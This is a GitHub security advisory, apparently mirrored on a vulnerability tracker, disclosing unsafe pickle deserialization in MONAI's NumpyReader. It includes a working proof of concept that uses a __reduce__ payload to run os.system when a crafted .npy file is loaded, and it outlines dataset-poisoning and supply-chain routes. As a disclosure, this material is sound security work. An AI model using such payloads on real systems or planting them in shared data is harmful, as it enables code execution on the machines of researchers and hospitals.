GHSA-WG9G-W2J2-8PGR
Vulnerability from github – Published: 2026-08-18 20:22 – Updated: 2026-08-18 20:22Summary
The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").
Details
Vulnerable code (permalink):
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)
The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.
The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.
Compare with safe practices in the same project:
The MONAI project has already addressed similar deserialization issues in other code paths:
- torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
- PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)
However, NumpyReader was not included in these security improvements.
Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile) # allow_pickle defaults to False
This inconsistency shows that NumpyReader was overlooked during security hardening.
The user cannot override this behavior:
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.
The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.
Data flow:
- User creates a data pipeline with
LoadImagetransform or uses any MONAI dataset class - A
.npyor.npzfile is provided as input (e.g., as part of a shared medical dataset) LoadImageselectsNumpyReaderbased on file extensionNumpyReader.read()callsnp.load(name, allow_pickle=True)- Malicious pickle payload in the
.npyfile executes arbitrary code
PoC
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))
tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)
# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)
# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
os.remove(proof)
os.remove(malicious_npy)
os.rmdir(tmpdir)
Output:
[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed
Impact
An attacker can achieve arbitrary code execution on any machine running MONAI by:
-
Dataset poisoning: Placing a malicious
.npyfile in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. -
Supply chain attack: Contributing a malicious
.npyfile to a MONAI tutorial, example, or bundle that other users download and run. -
Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.
This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "monai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T20:22:42Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted \"except `allow_pickle`\").\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)):\n\n```python\n# monai/data/image_reader.py, line 1276, in NumpyReader.read()\nimg = np.load(name, allow_pickle=True, **kwargs_)\n```\n\nThe `NumpyReader` is automatically selected by MONAI\u0027s `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `\"numpyreader\": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.\n\nThe `allow_pickle=True` parameter enables Python\u0027s pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method.\n\n**Compare with safe practices in the same project:**\n\nThe MONAI project has already addressed similar deserialization issues in other code paths:\n- `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj)\n- `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py)\n\nHowever, `NumpyReader` was not included in these security improvements.\n\nAdditionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)):\n\n```python\n# monai/data/dataset.py, line 1433 \u2014 safe usage\ndat = np.load(npzfile) # allow_pickle defaults to False\n```\n\nThis inconsistency shows that `NumpyReader` was overlooked during security hardening.\n\n**The user cannot override this behavior:**\n\n```python\n# monai/data/image_reader.py, line 1233 (docstring)\n# kwargs: additional args for `numpy.load` API except `allow_pickle`.\n```\n\nThe hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs.\n\n**Data flow:**\n\n1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class\n2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset)\n3. `LoadImage` selects `NumpyReader` based on file extension\n4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)`\n5. Malicious pickle payload in the `.npy` file executes arbitrary code\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: RCE via NumpyReader allow_pickle=True in MONAI\"\"\"\nimport os\nimport tempfile\nimport numpy as np\n\nclass MaliciousPayload:\n def __reduce__(self):\n return (os.system, (\u0027echo \"MONAI NumpyReader RCE - Code executed\" \u003e /tmp/monai_rce_proof.txt\u0027,))\n\ntmpdir = tempfile.mkdtemp(prefix=\"monai_poc_\")\nmalicious_npy = os.path.join(tmpdir, \"malicious_mask.npy\")\nnp.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)\n\n# With MONAI installed:\nfrom monai.data.image_reader import NumpyReader\nreader = NumpyReader()\ndata = reader.read(malicious_npy)\n\n# Verify RCE\nproof = \"/tmp/monai_rce_proof.txt\"\nif os.path.exists(proof):\n print(f\"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}\")\n os.remove(proof)\n\nos.remove(malicious_npy)\nos.rmdir(tmpdir)\n```\n\n**Output:**\n```\n[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed\n```\n\n### Impact\n\nAn attacker can achieve arbitrary code execution on any machine running MONAI by:\n\n1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI\u0027s standard pipeline, arbitrary code executes.\n\n2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run.\n\n3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.\n\nThis is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).",
"id": "GHSA-wg9g-w2j2-8pgr",
"modified": "2026-08-18T20:22:42Z",
"published": "2026-08-18T20:22:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-wg9g-w2j2-8pgr"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/pull/8875"
},
{
"type": "PACKAGE",
"url": "https://github.com/Project-MONAI/MONAI"
},
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.